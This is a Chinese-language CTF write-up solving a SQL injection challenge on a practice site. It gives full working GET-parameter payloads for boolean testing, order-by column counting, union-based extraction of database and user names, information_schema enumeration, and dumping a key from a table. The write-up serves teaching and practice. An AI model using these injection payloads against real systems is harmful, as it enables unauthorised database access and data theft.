链接地址为 http://ctf5.shiyanbar.com/8/index.php?id=1
1,我们点开链接后,发现是直接返回了一个数据库查询回显,毫无疑问是个SQL注入漏洞,通过GET传参的,我们可以直接开始手工注。
2,开始用逻辑判断,看看他返回不同的页面,先来and 1=1,没有异常回显
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1
3,再尝试1=2,明显有异常回显,我们已经知道错误页面的模样了
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2
4,我们继续开始判断数据表的字段数量
先随便给一个数值10,异常回显
http://ctf5.shiyanbar.com/8/index.php?id=1 order by 10
5,我们用二分法,再从5开始,也是异常回显
http://ctf5.shiyanbar.com/8/index.php?id=1 order by 5
6,于是继续,尝试3,异常回显
http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3
7,继续尝试2,正常回显,我们知道了数据表字段数量为2
http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2
8,接着我们构造联合查询的payload,查询当前用户和网站使用的数据库
http://ctf5.shiyanbar.com/8/index.php?id=1 union select database(),user()
9,得到数据库名后,我们可以用mysql里面的information_schema里面的表来使用语法构造payload
//当然如果数据库不是mysql或者说被限制了权限,我们可以尝试爆破来尝试
http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,1 from information_schema.tables where table_schema='my_db'
10,这里我们看到两个表名,而thiskey这个表名很可疑,我们先继续查询他的字段名
http://ctf5.shiyanbar.com/8/index.php?id=1 union select column_name,2 from information_schema.columns where table_schema='my_db' and table_name='thiskey'
11,得到后,直接查询k0y对应的数据
http://ctf5.shiyanbar.com/8/index.php?id=1 union select k0y,2 from my_db.thiskey
12,得到key值